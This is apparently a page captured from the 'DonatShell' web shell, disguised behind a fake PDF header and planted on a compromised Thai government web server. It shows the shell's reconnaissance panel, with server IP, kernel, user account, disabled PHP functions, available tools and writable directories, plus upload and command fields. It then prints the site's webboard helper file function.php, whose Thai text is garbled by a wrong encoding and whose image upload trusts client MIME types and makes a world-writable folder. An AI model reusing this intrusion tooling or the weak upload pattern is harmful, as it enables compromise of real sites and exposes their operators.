%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : phunphin ( 1164)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/phunphin/domains/phunphin.go.th/public_html/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/phunphin/domains/phunphin.go.th/public_html/news/function.php
<META http-equiv=Content-Type content="text/html; charset=windows-874">

<?

//(1) »ÃѺàÇÅÒãËéµÃ§¡ÑºàÇÅÒàÁ×ͧä·Â ¡Ã³Õ·Õè server ÍÂÙè·ÕèàÁ×ͧ¹Í¡ â´Â¤ÇÒÁÊӤѭÍÂÙè·ÕèµÑÇá»Ã $hour áÅÐ $min 
	$hour = 0;   // 11 »ÃѺãËéµÃ§µÒÁµéͧ¡ÒÃ
	$min = 0;  //»ÃѺãËéµÃ§µÒÁµéͧ¡ÒÃ
	$Year = date("Y")+543;
	$thaiweekFull=array("ÇѹÍÒ·ÔµÂì ·Õè","Çѹ¨Ñ¹·Ãì ·Õè","ÇѹÍѧ¤Òà ·Õè","Çѹ¾Ø¸ ·Õè","Çѹ¾ÄËÑʺ´Õ ·Õè","ÇÑ¹ÈØ¡Ãì ·Õè","ÇѹàÊÒÃì ·Õè");
	$thaimonthFull=array("Á¡ÃÒ¤Á","¡ØÁÀҾѹ¸ì","ÁÕ¹Ò¤Á","àÁÉÒ¹","¾ÄÉÀÒ¤Á","ÁԶعÒ¹","¡Ã¡®Ò¤Á","ÊÔ§ËÒ¤Á","¡Ñ¹ÂÒ¹","µØÅÒ¤Á", "¾ÄȨԡÒ¹","¸Ñ¹ÇÒ¤Á");
	$thaimonth=array("Á.¤.","¡.¾.","ÁÕ.¤.","àÁ.Â.","¾.¤.","ÁÔ.Â.","¡.¤.","Ê.¤.","¡.Â.","µ.¤.", "¾.Â.","¸.¤.");
	$numbermonth=array("01","02","03","04","05","06","07","08","09","10", "11","12");

	if ($Year=="2548"){$Shoryear="2548";}
	if ($Year=="2549"){$Shoryear="2549";}
	if ($Year=="2550"){$Shoryear="2550";}
	if ($Year=="2551"){$Shoryear="2551";}
	if ($Year=="2552"){$Shoryear="2552";}
	if ($Year=="2553"){$Shoryear="2553";}

	//¤Ø³ÊÒÁÒöàÅ×Í¡ãªé§Ò¹ä´é 3 ÍÂèÒ§¤×Í.. $mdate ËÃ×Í $ThaiDate ËÃ×Í $ThaiDateFull

	// 03-08-45
	//$mdate = date("d",mktime( date("H")+$hour, date("i")+$min ))."-".$numbermonth[date("m")-1]."-".$Shoryear; 

	// 3 Ê.¤. 2544
	$ndate = date("j ",mktime( date("H")+$hour, date("i")+$min )). $thaimonth[date("m")-1]." ".$Year; 

	// 3 Ê.¤. 2544 àÇÅÒ 12:36 ¹.
	$ThaiDate = date("j ").$thaimonth[date("m")-1]." ".$Year.date(" àÇÅÒ H:i ¹.",mktime( date("H")+$hour, date("i")+$min )); 
	
	// ÇÑ¹ÈØ¡Ãì·Õè 3 Ê.¤. 2544 àÇÅÒ 12:36 ¹.
	$ThaiDateFull = $thaiweekFull[date("w",mktime( date("H")+$hour))]. date(" j ",mktime( date("H")+$hour)). $thaimonthFull[date("m")-1]. " ". $Year . date(" àÇÅÒ H:i ¹.",mktime( date("H")+$hour, date("i")+$min )); 

	// ä´é¤èÒà»ç¹ ÇÔ¹Ò·Õ ¹Ñº¨Ò¡»Õ ¤.È.1900
	$Logtime = date("U",mktime( date("H")+$hour, date("i")+$min ));


//(2) ¿Ñ§¡ìªÑ蹵Ѵ¤ÓËÂÒº«Öè§ÊÒÁÒöà¾ÔèÁ¤Ó·Õèµéͧ¡ÒõѴä´é
	function CheckRude($temp){
		$wordrude = array(
		"ashole","a s h o l e","a.s.h.o.l.e","bitch","b i t c h","b.i.t.c.h","shit","s h i t","s.h.i.t","fuck",
		"dick","f u c k","d i c k","f.u.c.k","d.i.c.k","ÁÖ§","ÁÖ §","¡Ù","¤ÇÂ","¤ Ç Â","¤.Ç.Â",
		"¤Í ÇÍ ÂÍ","¤Í-ÇÍ-ÂÍ","»Õé","àËÕéÂ","àÎÕéÂ","ªÒµÔËÁÒ","ªÒ´ËÁÒ","ª Ò ´ Ë Á Ò","ª.Ò.´.Ë.Á.Ò","ª Ò µÔ Ë Á Ò",
		"ª.Ò.µÔ.Ë.Á.Ò","äÍé","ÊÑ´ËÁÒ","ÊÑ´","àÂç´","ËÕ","Êѹ´Ò¹","áÁè§","ÃÐÂÓ","Êé¹µÕ¹","áµ´","ÁÖ-§","¤-Ç-Â","á-Áè-§") ;
		$wordchange = ("<img src=\"./pic/ban.gif\" border=0>") ;

		for ( $i=0 ; $i<sizeof($wordrude) ; $i++ ){
			$temp = eregi_replace ($wordrude[$i] ,$wordchange ,$temp);
		}
		return ( $temp ) ;
	}


//(3) ¿Ñ§¡ìªÑè¹á·Ã¡ÃÙ»ÀÒ¾ÊÒÁÒöà¾ÔèÁÃÙ»ä´é
	function CheckSmile($temp){
		global $url;
		$text = array(
		":sad:",":red:", ":big:", ":ent:", ":shy:", ":sleepy:", ":sun:", ":sg:", ":embarass:", 
		":dead:", ":cool:", ":clown:", ":pukey:", ":eek:", ":roll:", ":smoke:", ":angry:", ":confused:", ":cry:", 
		":lol:", ":yawn:", ":devil:", ":tongue:", ":alien:",":tasty:",":crazy:",":agree:",":disagree:",":bawling:", 
		":crap:",":crying1:",":dunce:",":error:",":evil:",":lookaroundb:",":laugh:",":pimp:",":spiny:",":wavey:",":smash:",":angry:",
		":brain:",":phone:",":zip:",":download:",":beer:",":censore:",":nolove:",":cranium:");

		$pic =array(
		"frown.gif","redface.gif","biggrin.gif","blue.gif","shy.gif","sleepy.gif","sunglasses.gif", "supergrin.gif","embarass.gif",
		"dead.gif","cool.gif","clown.gif","pukey.gif","eek.gif","sarcblink.gif","smokin.gif","reallymad.gif","confused.gif","crying.gif",
		"lol.gif","yawn.gif","devil.gif","tongue.gif","aysmile.gif","tasty.gif","grazy.gif","agree.gif","disagree.gif","bawling.gif",
		"crap.gif","crying1.gif","dunce.gif","error.gif","evil.gif","lookaroundb.gif","laugh.gif","pimp.gif","spiny.gif","wavey.gif","smash.gif","angry.gif",
		"brain.gif","phone.gif","zip.gif","download.gif","beer.gif","censore.gif","nolove.gif","cranium.gif");

		for ($i=0 ; $i<sizeof($text) ; $i++) {
			$temp = eregi_replace($text[$i],"<img src=\"./pic/$pic[$i]\">",$temp);
		}
		return($temp);
	}


//(4) ¿Ñ§¡ìªÑè¹µÃǨÊͺ¡ÒÃá·Ã¡ Link áÅÐ Tag 
	function CheckTag($temp){
		global $url;
		$temp = stripslashes(htmlspecialchars($temp));
		$temp = eregi_replace ( "<" , "&lt;" , $temp ) ;
		$temp = eregi_replace ( ">" , "&gt;" , $temp ) ;
		$temp = eregi_replace ( "\n", "<br>" , $temp ) ;

		//ÊÓËÃѺà»ÅÕè¹ÍÑ¡¢ÃзÕè¡Ó˹´ ãËéà»ç¹á·¡ html µèÒ§æ
		$temp = eregi_replace ( "\[b\]", "<b>" , $temp ) ;
		$temp = eregi_replace ( "\[/b\]", "</b>" , $temp ) ;
		$temp = eregi_replace ( "\[center\]", "<div align=center>" , $temp ) ;
		$temp = eregi_replace ( "\[/center\]", "</div>" , $temp ) ;
		$temp = eregi_replace ( "\[i\]", "<i>" , $temp ) ;
		$temp = eregi_replace ( "\[/i\]", "</i>" , $temp ) ;
		$temp = eregi_replace ( "\[u\]", "<u>" , $temp ) ;
		$temp = eregi_replace ( "\[/u\]", "</u>" , $temp ) ;
		$temp = eregi_replace ( "\[\-\-\-\]", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" , $temp ) ;
		$temp = eregi_replace ( "\[color=red\]", "<font color=red size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=green\]", "<font color=green size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=blue\]", "<font color=blue size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=orange\]", "<font color=FF6600 size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=pink\]", "<font color=FF00FF size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[color=gray\]", "<font color=999999 size=2>" , $temp ) ;
		$temp = eregi_replace ( "\[/color\]", "</font>" , $temp ) ;

		// ¤ÓÊÑè§áÊ´§ÃÙ»·Õèá·Ã¡¤ÓÊÑè§à¢éÒÁÒ
		$temp = eregi_replace ("\[img\]([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]])\[/img\]", "<img src=\"\\1://\\2\\3\">",$temp ) ;

		// ÊÃéÒ§ÅÔ§¤ì URL ·Õèá·Ã¡¤ÓÊÑè§à¢éÒÁÒ
		$temp = eregi_replace ("\[url\]([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])\[/url\]","<a href=\"\\1://\\2\\3\" target=\"_blank\">\\1://\\2\\3</a>",$temp ) ;

		//ÊÃéÒ§ÅÔ§¤ìÍÕàÁÅì
		$temp = eregi_replace ("([^[:space:]]*)@([^[:space:]]*)([[:alnum:]])","<a href=\"./mail2me/mail2me.php?wemail=\\1@\\2\\3&name=\\1@\\2\\3\" target=\"_blank\">\\1@\\2\\3</a>",$temp ) ;

		return ( $temp ) ;
	}

//(5) ¿Ñ§¡ìªÑè¹áÊ´§¢éͤÇÒÁ ¼Å¡ÒáÃзӡÒÃ
	function Message($Size,$Color,$Message,$Comment,$Link){
		$temp = "<br><center>\n";
		$temp .= "<table width=$Size% border=0 cellspacing=0 cellpadding=0 bgcolor=#ccccFF>\n";
		$temp .= "<tr><td><table width=100% border=0 cellpadding=2 cellspacing=1>\n";
    	$temp .= "<tr bgcolor=#ccccFF>\n"; 
    	$temp .= "<td align=center><br>\n";
		$temp .= "<font color=$Color  ><b>$Message</b></font>\n";
		$temp .= "<br><br>$Comment<br><br>\n";
	    $temp .= "</td></tr></table></td></tr></table><br>\n";
		$temp .= "[ $Link ]\n";
		$temp .= "</center>\n";
		return ( $temp ) ;
	}

//(6) ¿Ñ§¡ìªÑè¹µÃǨÊͺ¡ÒÃÊè§ÃÙ» áÅÐ copy ÃÙ»äÇéã¹ä´àä·ÍÃÕè
	function Send_Img($Type, $No, $Upload_Img, $Upload_Img_type, $Upload_Img_size) {
		include("./config.inc.php");	//µÑ駤èÒµèÒ§æ¢Í§àÇ»ºÍÃì´
		if($Upload_Img!="none") {		// ¶éÒÁÕ¡ÒÃÊè§ÃÙ»ÁÒ´éÇÂ
			if($Upload_Img_type=="image/gif") {
				$imgfiles=".gif";  //¶éÒä¿Åì·ÕèÊè§ÁÒà»ç¹ä¿Åì .gif ãËéÁÕÊ¡ØÅä¿Åìà»ç¹µÒÁ·Õè¡Ó˹´¹Õé
			}
			else if( ($Upload_Img_type=="image/jpg") || ($Upload_Img_type=="image/jpeg") || ($Upload_Img_type=="image/pjpeg")) {
							$imgfiles=".jpg";  //¶éÒä¿Åì·ÕèÊè§ÁÒà»ç¹ä¿Åì .jpg ãËéÁÕÊ¡ØÅä¿Åìà»ç¹µÒÁ·Õè¡Ó˹´¹Õé
						}
						else {
						echo Message(35,"red","äÁèãªèä¿ÅìÃÙ»ÀÒ¾ .gif ËÃ×Í .jpg","¡ÃسҵÃǨÊͺ´éǤÃѺ","<a href='javascript:history.back(1)'> ¡ÅѺä»á¡éä¢ </a>");
						exit();
			}

			// Êè§ÃÙ»ä´éäÁèà¡Ô¹ 1 Mb (50 KB=51200)
			if($Upload_Img_size>1048576) {
			echo Message(35,"red","¢¹Ò´¢Í§ÃÙ»à¡Ô¹¡ÇèÒ·Õè¡Ó˹´","¡ÃسҵÃǨÊͺ´éÇÂ","<a href='javascript:history.back(1)'> ¡ÅѺä»á¡éä¢ </a>");
			exit();
			}

			// µÃǨÊͺ¤ÇÒÁ¡ÇéÒ§¢Í§ÃÙ»
			$size = getimagesize($Upload_Img);
			if($size[0] > 400) {  //¶éÒ¤ÇÒÁ¡ÇéÒ§ÁÒ¡¡ÇèÒ 110 pixels
				echo Message(35,"red","¤ÇÒÁ¡ÇéÒ§¢Í§ÃÙ»ÁÒ¡¡ÇèÒ 400 pixels","¡ÃسÒá¡é䢴éÇÂ","<a href='javascript:history.back(1)'>¡ÅѺä»á¡éä¢</a>");
				exit();
			}

			// µÃǨÊͺÇèÒÁÕä´àä·ÍÃÕèª×èÍ imagefiles ÍÂÙèËÃ×ÍäÁè ¶éÒäÁèÁÕãËéÊÃéÒ§¢Öé¹ãËÁè
			$DirOK = 0;
			$DIR = opendir("./$dataDir/");
			while ($text = readdir($DIR)){
				if($text == "imagefiles") $DirOK = 1;
			}
			if(!$DirOK) mkdir("./$dataDir/imagefiles/",0777);

			// ¶éÒà»ç¹¡ÒÃÊè§ÃÙ»¨Ò¡¡Òõͺ (à¹×èͧ¨Ò¡¡Òõͺ¨ÐµÍºä´éËÅÒ¤¹áÅÐÍÒ¨¨ÐÊè§ÁÒËÅÒÂÃÙ»)
			if($Type){
				// ÍèÒ¹¨Ó¹Ç¹¢Í§ÃÙ»¨Ò¡ä¿Åì
				$filename = "./$dataDir/imagefiles/Img$No.txt"; 
				if(file_exists($filename)) {
					$FILE=fopen($filename,"rt");
					$num=fgets($FILE,10);
					fclose($FILE);
				}
				else{
					$num=0;
				}

				$num++;  //à¾ÔèÁ¤èÒ¢Öé¹ 1

				// ºÑ¹·Ö¡¤èҨӹǹÃٻŧã¹ä¿Åì´Ñ§à´ÔÁ ´éǤèÒãËÁè
				$FILE=fopen($filename,"w");
				flock($FILE,2);
				fputs($FILE,$num);
				flock($FILE,3);
				fclose($FILE);
				$ImgName = "R$No-$num$imgfiles";
			}
			else {
				$ImgName = "$No$imgfiles";
			}

			// copy ä¿ÅìÃÙ»ä»à¡çºäÇéã¹ä´àä·ÍÃÕè
			copy($Upload_Img,"./$dataDir/imagefiles/$ImgName");
			return ($ImgName);

		} // ¨º¡ÒõÃǨÊͺ ÇèÒÊè§ÃÙ»ÁÒËÃ×Íà»ÅèÒ
		else {
			return (0);
		}
	} // ¨º¿Ñ§¡ìªÑè¹


//(7) ¿Ñ§¡ìªÑè¹µÃǨÊͺ¡ÒÃâ¾Ê.. ãËéâ¾ÊµÔ´¡Ñ¹ä´éÁÒ¡ÊØ´ 50 ¡ÃзÙé
	function CheckFlood($IP) { 
		
		$fileLastIP = "lastip.txt";

		if(file_exists($fileLastIP)) {
			$FILE=fopen($fileLastIP,"rt");
			$last_ip = fgets($FILE,20);
			fclose($FILE);
	
			$last_ip = Chop($last_ip);
			list ($ipx, $xnum,) = split ('[,]', $last_ip);
		}

		if($ipx == $IP) {
			if ($xnum>10000){
				$check='no';
			} else {
				$check='yes';
			}
		}else{
			$check='yes';
			$xnum=0;
		}

		if ($check=='no'){
			echo Message(55,"red","¢ÍÍÀѤÃѺ!! ͹حҵãËéâ¾ÊµÔ´¡Ñ¹ä´éà¾Õ§ 50 ¡ÃзÙé","¡ÃسҡÅѺÁÒâ¾ÊãËÁè㹤ÃÒÇ˹éÒ","<a href='javascript:history.back(1)' class='styles2'>¡ÅѺä»á¡éä¢</a>");
			exit();
		} else {
			$xnum++;
			$FILE = fopen ( $fileLastIP , "w+" );
				fputs ($FILE , "$IP,$xnum");
			fclose( $FILE);
		}
		return (1);
	}


//(8) ¿Ñ§¡ìªÑè¹µÃǨÊͺ¡ÒÃâ¾Ê¡ÃзÙé«éÓ.. 
	function CheckRepeated($QTitle) { 
		include("./config.inc.php");	//µÑ駤èÒµèÒ§æ¢Í§àÇ»ºÍÃì´

		if(file_exists($fileQuestion)) {
			$question = file($fileQuestion);
	
			// á¡¢éÍÁÙÅã¹áµèÅкÃ÷Ѵ ÍÍ¡à»ç¹¿ÔÅ´ìÂèÍ $question[0] ¤×Í¡ÃзÙéÅèÒÊØ´
			$split = explode("|X|",$question[0]);
			$topic = $split[1];

			if ($QTitle == $topic){
				echo Message(40,"red","¢ÍÍÀѤÃѺ!! ¤Ø³â¾Ê¡ÃзÙé«éÓ","¡ÃسҵÃǨÊͺ","<a href='javascript:history.back(1)'>¡ÅѺä»á¡éä¢</a>");
				exit();
			}
		}
		return (1);
	}


//(9) ¿Ñ§¡ìªÑè¹ËҨӹǹ¼ÙéµÍº¡ÃзÙé
	function CountReply($numQuestion) { 
		include("./config.inc.php");	//µÑ駤èÒµèÒ§æ¢Í§àÇ»ºÍÃì´

		// ǹÅÙ»ÍèÒ¹¢éÍÁÙÅ ¢Í§¤ÓµÍº áÅéÇËҨӹǹ¤ÓµÍº·Ñé§ËÁ´
		$fileReply = "./$dataDir/R$numQuestion.txt";
		$countR=0; // à»ç¹µÑǺ͡ÇèÒÁըӹǹ¤¹µÍº¡Õ褹

		if(file_exists($fileReply)) {
			$Reply = file($fileReply);
			for ($j=0 ; $j<sizeof($Reply) ; $j++) {

				// á¡¢éÍÁÙÅã¹áµèÅкÃ÷Ѵ ÍÍ¡à»ç¹¿ÔÅ´ìÂèÍÂ
				$chk = explode("||",$Reply[$j]);

				// ¶éÒ¿ÔÅ´ì·Õè 0 ¢Í§¢éÍÁÙÅ·Õèáºè§ÍÍ¡ÁÒ à·èҡѺ "IS_reply" (µÑÇáºè§ËÁÒÂàÅ¢¡ÃзÙé) ãËéà¾ÔèÁ¤èÒ $countR
				if(substr($chk[0],0,8) == "IS_reply"){ $countR++; }
			}// end for j
		}//end if
		return $countR;
	}

//(10) ¿Ñ§¡ìªÑè¹µÃǨÊͺÇèÒ㹡ÃзÙéÁÕÃÙ»ËÃ×Íà»ÅèÒ
	function CheckImage($No) { 
		include("./config.inc.php");	//µÑ駤èÒµèÒ§æ¢Í§àÇ»ºÍÃì´
		$imgOK = 0;

		// ¤é¹ËÒä¿ÅìÃÙ»·ÕèÍÂÙè㹡ÃзÙé
		$fileQImg="./$dataDir/imagefiles/$No";
		if(file_exists("$fileQImg.jpg")) $imgOK = 1;
		if(file_exists("$fileQImg.gif")) $imgOK = 1;

		// ¤é¹ËÒä¿ÅìÃÙ»·ÕèÍÂÙè㹤ӵͺ
		$fileNumImgR="./$dataDir/imagefiles/Img$No.txt";
		$fileImgR="./$dataDir/imagefiles/R$No";
		if(file_exists($fileNumImgR)) {
			// ÍèÒ¹¨Ó¹Ç¹¢Í§ÃÙ»¨Ò¡ä¿Åì
			if(file_exists($fileNumImgR)) {
				$FILE=fopen($fileNumImgR,"rt");
					$numImg=fgets($FILE,10);
				fclose($FILE);
			}
			for ($i=1 ; $i<=$numImg ; $i++){
				if(file_exists("$fileImgR-$i.jpg")) $imgOK = 1;
				if(file_exists("$fileImgR-$i.gif")) $imgOK = 1;
			}
		}
		return $imgOK;
	}
?>

Anon7 - 2022
AnonSec Team